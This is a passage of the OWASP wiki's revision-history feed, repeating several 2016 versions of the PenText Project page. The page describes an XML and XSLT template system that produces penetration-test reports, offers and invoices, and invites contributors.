Suggestions on the the XSLT side are welcome!&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the snippets and strings in the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please [mailto:info@pentext.org mail us] for feedback:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=220007</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=220007"/>
				<updated>2016-08-03T17:11:01Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content is multilingual (current languages: English and Dutch) and can be easily adapted - by editing the constants provided in each document - or expanded - by creating new files. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/templates/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the [http://saxon.sourceforge.net/#F9.7HE SAXON XSLT processor]. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using [https://xmlgraphics.apache.org/fop/ Apache FOP].&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/pentext sources]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/pentext/tree/master/xml/doc]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/pentext/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Deborah, Patricia and Peter. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;400&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
* [21 July 2016] Expanded the wiki&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for writers and translators.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
The Pentext XML Documentation Project is developed by a worldwide team working at [https://www.radicallyopensecurity.com Radically Open Security]. A live update of project [https://github.com/radicallyopensecurity/templates/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
* XSLT coding and documentation by Patricia Piolon&lt;br /&gt;
* ChatOps scripts by Peter and John&lt;br /&gt;
* XML content by Peter, Christine, Deborah, Marcus Bointon and others.&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of '''June, 2016, the highest priorities for the next 6 months are''':&lt;br /&gt;
&lt;br /&gt;
* Create additional content for Forensics, code audits and such&lt;br /&gt;
* Get other people to review the PenText XML documentation project and provide feedback&lt;br /&gt;
* Get others to provide translations for the snippet library &lt;br /&gt;
&lt;br /&gt;
Subsequent Releases would preferably contain&lt;br /&gt;
&lt;br /&gt;
* Templates in a wider variety of languages&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
Suggestions on the the XSLT side are welcome!&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the snippets and strings in the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please [mailto:info@pentext.org mail us] for feedback:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219186</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219186"/>
				<updated>2016-07-21T12:16:32Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: /* Contributors */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content is multilingual (current languages: English and Dutch) and can be easily adapted - by editing the constants provided in each document - or expanded - by creating new files. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/templates/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the [http://saxon.sourceforge.net/#F9.7HE SAXON XSLT processor]. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using [https://xmlgraphics.apache.org/fop/ Apache FOP].&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates Sources]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/tree/master/xml/doc Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Deborah, Patricia and Peter. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;400&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
* [21 July 2016] Expanded the wiki&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for writers and translators.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
The Pentext XML Documentation Project is developed by a worldwide team working at [https://www.radicallyopensecurity.com Radically Open Security]. A live update of project [https://github.com/radicallyopensecurity/templates/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
* XSLT coding and documentation by Patricia Piolon&lt;br /&gt;
* Additional validation scripting by Peter&lt;br /&gt;
* XML content by Peter, Christine, Deborah, Marcus Bointon and others.&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of '''June, 2016, the highest priorities for the next 6 months are''':&lt;br /&gt;
&lt;br /&gt;
* Create additional content for Forensics, code audits and such&lt;br /&gt;
* Get other people to review the PenText XML documentation project and provide feedback&lt;br /&gt;
* Get others to provide translations for the snippet library &lt;br /&gt;
&lt;br /&gt;
Subsequent Releases would preferably contain&lt;br /&gt;
&lt;br /&gt;
* Templates in a wider variety of languages&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
Suggestions on the the XSLT side are welcome!&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the snippets and strings in the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please [mailto:info@pentext.org mail us] for feedback:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219185</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219185"/>
				<updated>2016-07-21T10:57:36Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: /* Technical information */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content is multilingual (current languages: English and Dutch) and can be easily adapted - by editing the constants provided in each document - or expanded - by creating new files. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/templates/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the [http://saxon.sourceforge.net/#F9.7HE SAXON XSLT processor]. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using [https://xmlgraphics.apache.org/fop/ Apache FOP].&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates Sources]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/tree/master/xml/doc Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Deborah, Patricia and Peter. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;400&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
* [21 July 2016] Expanded the wiki&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for writers and translators.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
The Pentext XML Documentation Project is developed by a worldwide team working at [https://www.radicallyopensecurity.com Radically Open Security]. A live update of project [https://github.com/radicallyopensecurity/templates/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
* XSLT coding and documentation by Patricia Piolon&lt;br /&gt;
* Additional validation scripting by Peter&lt;br /&gt;
* XML content by Peter, Christine, Deborah, Marcus and others.&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of '''June, 2016, the highest priorities for the next 6 months are''':&lt;br /&gt;
&lt;br /&gt;
* Create additional content for Forensics, code audits and such&lt;br /&gt;
* Get other people to review the PenText XML documentation project and provide feedback&lt;br /&gt;
* Get others to provide translations for the snippet library &lt;br /&gt;
&lt;br /&gt;
Subsequent Releases would preferably contain&lt;br /&gt;
&lt;br /&gt;
* Templates in a wider variety of languages&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
Suggestions on the the XSLT side are welcome!&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the snippets and strings in the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please [mailto:info@pentext.org mail us] for feedback:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219184</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219184"/>
				<updated>2016-07-21T10:55:30Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: /* Contributors */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content is multilingual (current languages: English and Dutch) and can be easily adapted - by editing the constants provided in each document - or expanded - by creating new files. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/templates/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the SAXON XSLT processor. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using Apache FOP.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates Sources]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/tree/master/xml/doc Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Deborah, Patricia and Peter. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;400&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
* [21 July 2016] Expanded the wiki&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for writers and translators.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
The Pentext XML Documentation Project is developed by a worldwide team working at [https://www.radicallyopensecurity.com Radically Open Security]. A live update of project [https://github.com/radicallyopensecurity/templates/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
